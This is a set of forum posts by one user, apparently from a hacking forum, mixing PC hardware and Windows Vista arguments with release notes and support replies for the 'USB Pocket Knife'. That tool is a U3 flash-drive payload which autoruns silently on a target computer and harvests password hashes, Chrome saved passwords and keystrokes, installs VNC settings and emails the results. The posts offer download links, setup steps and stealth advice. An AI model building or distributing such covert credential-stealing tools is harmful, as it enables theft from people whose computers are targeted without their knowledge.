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  1. Well...I've uploaded what I've got so far here (U3 version only): http://rs261l3.rapidshare.com/cgi-bin/uplo...873153083554340 Its got the new installer and detection script in it, I know the installer is working, but I haven't had a chance to test the drive detection. USE AT YOUR OWN RISK.
  2. Wow, that was a bit unexpected! Good going with the project sheet, it's one of the best guides I've ever seen for setting my payload up. :) As for the error, would I be correct in assuming that all of the computers that exhibit the error have some kind of removable media device in them that's mounted to a drive letter higher than the flash drive and U3 partition? For example, C:\ Hard Disk, D:\ DVD-ROM, E:\ Flash Drive, F:\ U3 Partition, G:\ Empty Card Reader If this is the case, then the new drive detection I'm working on will fix the issue. The latest version (attached at the bottom of this post) doesn't have the new detection routine yet, but the next release will have it for sure. UPDATE: VERSION 0.8.8.0 IS OUT! NEW FEATURES Added option to shutdown PC when the payload is finished running. Added the ability to keep up to 3 payload configuration profiles. Added the ability to dump saved passwords from Google Chrome browser. BUG FIX LIST If "Safety.txt Check" is disabled Menu.bat will now show the "run payload" option even if Safety.txt is found. Fixed some cosmetic issues in Menu.bat where some screens were a line too long. KNOWN BUGS Keylogger isn't working right. DOWNLOAD THE USB POCKET KNIFE V0.8.8.0 Includes both U3 and Non-U3 version. A pre-built U3 ISO is included Download Mirrors: MegaUpload, and RapidShare
  3. You can actually crossfire a 4870x2 with a 4870 and run multi-monitor at the same time, there's really no reason to hook up two outer screens to the secondary card (all you'll get is a performance hit, however slight it might be).
  4. I've been down that road before, it's best to attach your left and center screens to your primary card, then leave the right screen to your secondary card. It keeps less traffic from clogging up the PCIe bus when moving windows from monitor-to-monitor.
  5. All the executable are on the CD partition, somehow the active Antivirus is detecting them upon insertion. It can't delete them, so no harm done, but it's interesting they're beign found without being called. That's where it merges the registry data for VNC...but it was generated on a Windows XP machine; the REG file might need a slight tweak to make it apply to Windows 2000 (good thing we have OS detection working). I've got it sorted already, just setting up menu.bat so it's easy to configure the serial number.
  6. There are also the $NTUninstall$ folders that build up in the Windows directory as you install Windows Updates, many of which can be deleted if you don't care about rolling back. You can also slipstream all current Windows Updates onto your XP CD and reinstall to avoid the problem entirely.
  7. I hope you guys realize that the Direct2Drive versions of these games DO NOT have the 3 install limit. Bought Spore on Direct2Drive, burned it to a DVD, and installed it on 4 PCs without any issues. If you want to support the developers and not EA's tactics with SecuROM, then grab the games on Direct2Drive (or better yet, Steam if they're available there). Simple as that.
  8. Gaming PC: CPU: AMD Athlon X2 5000+ Black Edition (Dual Core, overclocked to 3.2GHz) Motherboard: Foxconn C51XEM2AA nForce 590 SLI (Link for specs and review) RAM: 6GB DDR2 1000MHz (2x4GB + 2x1GB) in dual channel mode. Hard Disk 1: Two (2x) SATA Seagate 7200.10 320GB (in RAID1 as OS Drive) Hard Disk 2: Two (2x) SATA Seagate 7200.11 1TB (in RAID1 as Storage Drive) Optical Drive: LG 22x SATA DVD-RW Drive Video Card 1: Nvidia GeForce GTX 260 896mb. Video Card 2: Nvidia GeForce 8800GTS 320mb. Sound Card 1: SoundBlaster Xfi. Sound Card 2: SoundBlaster Audigy 2. Case: LianLi PC 65B (Fan holes increased in size to fit 120mm fans) Case Fans: All fans are Yate Loon 120mm model D12SL-12 (black) Power Supply: Ultra 630w with ForceFlex cables. CPU Heatsink: XIGMATEK HDT-S1284EE (Product Link) Monitor 1: ChiMei CMV 221D (22" wide screen LCD) on GTX260. Monitor 2: ChiMei CMV 221D (22" wide screen LCD) on GTX260. Monitor 3: ChiMei CMV 221D (22" wide screen LCD) on 8800GTS. Mouse: Microsoft Wireless IntelliMouse Explorer . Keyboard: Saitek Eclipse 1 (Blue version). Speakers: Altec Lansing Model 221 (Stereo speakers + subwoofer, 2.1). Gamepad: Wireless Official XBOX 360 Gamepad. Operating System: Windows Vista Ultimate x64. The 8800GTS handles my 3rd monitor and also does PhysX processing in games that support it. In most games, I play across all 3 monitors using SoftTH to do the spanning to the 3rd monitor (the GTX260 does all the 3D rendering, the 8800GTS is only used as an extra display head).
  9. Autoplay is enabled on Windows XP by default, this is the principal that all switchblades rely on to run without user interaction. If you disable Autoplay you break the stealth ability of all switchblade payloads, not just mine. Really, if the person operating the computer is smart enough to have disabled autoplay...you probably shouldn't be messing with the system.
  10. Only reason it wouldn't autorun, after being installed correctly, is if autoplay has been disabled on the target computer. You can manually start it by opening my Computer, right clicking the U3 CR-ROM and selecting "autoplay" from the menu. As for the universal customizer, I didn't write the app, you'll have to wait for Sandisk to update it to work with the new 8GB drives.
  11. What version of the payload? U3 or non-U3?
  12. uhm...why are we talking about Backtrack in my PocketKnife thread?
  13. Go back, actually read my post this time, and respond to it intelligently. I would honestly like to hear any counterpoints you have to my above statements.
  14. Lets do a quick headcount here. Windows Vista has the following going for it: Better security including a privilege elevation scheme not unlike that used in OSX and Linux. A modernized interface utilizing 3D hardware to accelerate rendering (means Aero is actually faster to run than Basic on appropriate hardware). Support for icons up to 128x128 (Note that XP was limited to 48x48). Native support for the management of NTFS junction points and hard links. Instant search system based on an XML search database. The new "Previous Versions" feature which lets you revert any document on your system via shadow copy. Integrated support for widgets/gadgets. The Windows Task Scheduler is nolonger completely useless, its been given an overhaul in Vista. 64bit Vista has extremely good driver support compared to XP 64bit. DirectX 10 Support. For a full list see http://en.wikipedia.org/wiki/Features_new_to_Windows_Vista And Windows XP has: Marginally better backwards compatibility and legacy hardware support. Slightly better tolerance for badly written drivers Since when? If Windows XP is doing everything you need it to then nothing is stopping you from continuing to run XP. People still run Windows 98 and are perfectly happy with it. Hate to break it to you, but Apple releases updates to OSX you'll have to pay for if you want to use new features, and there's a new build of any given version of Linux every day. Yes, I use Windows. My desktop has Vista Ultimate x64 on it and my laptop has Vista Home Premium x64 on it (dual booting with Ubuntu). As for being brainless, you have absolutely no idea who you're dealing with right now. You need to face reality and accept that Windows XP is nearly 7 years old. If it still works for you, then great, but Windows Vista is a fine replacement and a much more internally modern operating system. I've moved forward and Windows XP no longer meets my needs; not to mention it can't optimally use all of my hardware (No DX10 support on my DX10 graphics cards, can't run 64bit XP because driver support is so spotty, can't address all 6GB of my RAM under 32bit XP). I'm done with you, it's plain as day you're the average noobie scorning Windows and putting your OS of choice up on a pedestal like it's a gift from God. You're new around here and with your current attitude I don't see you being around very long. Goodbye.
  15. You don't actually believe the garbage you're spewing, do you?
  16. I'll add that into start.bat and create a menu option for it in menu.bat I'm going to give Moonlit's method a spin for drive detection. That all works great, but I've got to make it silent and i've got to figure out an easy way for the user to get their drive's serial number in there. Way ahead of you there, and yes, it does support running from the command line ;)
  17. You flash the ISO to the U3 partition of your U3 flash drive using the 'Universal Customizer", then copy everything inside the "Flash partition" folder to the writable section of your U3 flash drive. You can ignore the "U3 ISO Source" folder, it's for people who want to make changes and rebuild the U3 ISO themselves. Do I need to start including the universal customizer? I figured most people around here already had it and a premade U3 ISO would be enough.
  18. It counts down from Z so it hits your flash drive before running into any other removable drive...but it sounds like your drive is mounting somewhere between your card reader an your CD ROM drives. I have a method for fixing that, it involves checking for the ID number of the device (flash drive) rather than checking for a file on the device. I've had it work in test runs, but I need to find a user-friendly way of setting it up (because the ID number is different for every flash drive). I've put together the fixes you've made, as well as made a few changes of my own, here's a download link to the latest version: Rapidshare and Megaupload Fixed backup script in menu.bat Fixed auto-update script in menu.bat Errors caused by an extra \ in drive variable resolved. Added OS detection (helps PWDUMP, Network Services, and Slurp run properly on more systems) Slurp now uses system variables instead of hard paths (more compatable) Slurp now grabs data from Pidgen Pre-built U3 ISO included!
  19. Ok, took a break for a week and Tmbomber has been doing some amazing debugging. i really can't thank you enough man! This whole mess with setting up the new codebase has been a real headache. Give me a little bit to read through the new posts here and see if I can hack all the revisions together. I've also been working on Menu.bat and i've fixed the backup and auto-update scripts (the new file structure broke them again). As for OS detection, give this a try: ver|find "Microsoft Windows XP [Version 5.1.2600]" if errorlevel 1 goto SetOSXP32 ver|find "Microsoft Windows [Version 6.0.6000]" if errorlevel 1 goto SetOSVISTA32 ver|find "Microsoft Windows [Version 6.0.6001]" if errorlevel 1 goto SetOSVISTA32SP1 :SetOSXP32 SET CurrentOS=XP32 GOTO EndDetect :SetOSVISTA32 SET CurrentOS=VISTA32 GOTO EndDetect :SetOSVISTA32SP1 SET CurrentOS=VISTA32SP1 GOTO EndDetect :EndDetect I'm using the VER command and piping its output into FIND. All we need is a list of what the VER command outputs on the various versions of Windows, run this for each one, and we're all set.
  20. So THATS where the errors were getting thrown from! I'll poke around with it and see if I can get netstat to play nice. By the way, the discrepancies between Windows XP and its 64bit counterpart that you've encounter got me thinking that an OS version check might be a good option to add. It would allow the payload to execute only what will actually work on the OS its running on (meaning the payload could even be made to execute properly on Vista, though it might be feature limited). I'll see what i can do there... Also, here's the payload with the fixes Tmbomber made on the previous page. As he noted, don't scan for network services and you'll avoid the No Disk errors (If I can get these last couple bugs fixed we'll jump version 1.0 fairly quickly ). http://www.megaupload.com/?d=V6DR8HXG
  21. I'm allowing it to execute automatically. On my desktop computer it goes off just fine, on my laptop it throws No Disk errors (9 of them in a row). I can't figure out what the difference is...
  22. I'm uploading a version of the payload with the bugfixes Tmbomber made, which should solve a lot of problems. Also put csrss.exe where it needs to be for the U3 version, as well as fc.exe (which should fix the slurp scripts once and for all). I still can't figure out why the payload throws No Disk errors on some systems and not on others, by all accounts it should be absolutely fine.
  23. No, it's not self propagating, too dangerous. You need to have the payload extracted to a flash drive (not a folder on your hard disk) before menu.bat will work correctly.
  24. Allow me to quote the readme: Run Menu.bat, select "Manage Settings and modules", from the new menu select "Other Settings", in there you'll find the two options fro configuring your email address.
  25. UPDATE: VERSION 0.8.6.0 IS OUT! BUG FIX LIST Fixed Slurp2 because it wasn't running at all (bad pathnames). Payload now works properly on U3 drives again (was broken in 0.8.5.5). Fixed an issue that may cause No Disk errors on some systems (might not fix all no disk errors) Other Changes Folder structure had to be modified to make the payload work correctly on U3 drives again. Managed to make the drive detection script a heck of a lot smaller and simpler. DOWNLOAD THE USB POCKET KNIFE V0.8.6.0 includes both U3 and Non-U3 version. The U3 version has the ISO sources but no pre-built ISO. Download Mirrors: MegaUpload
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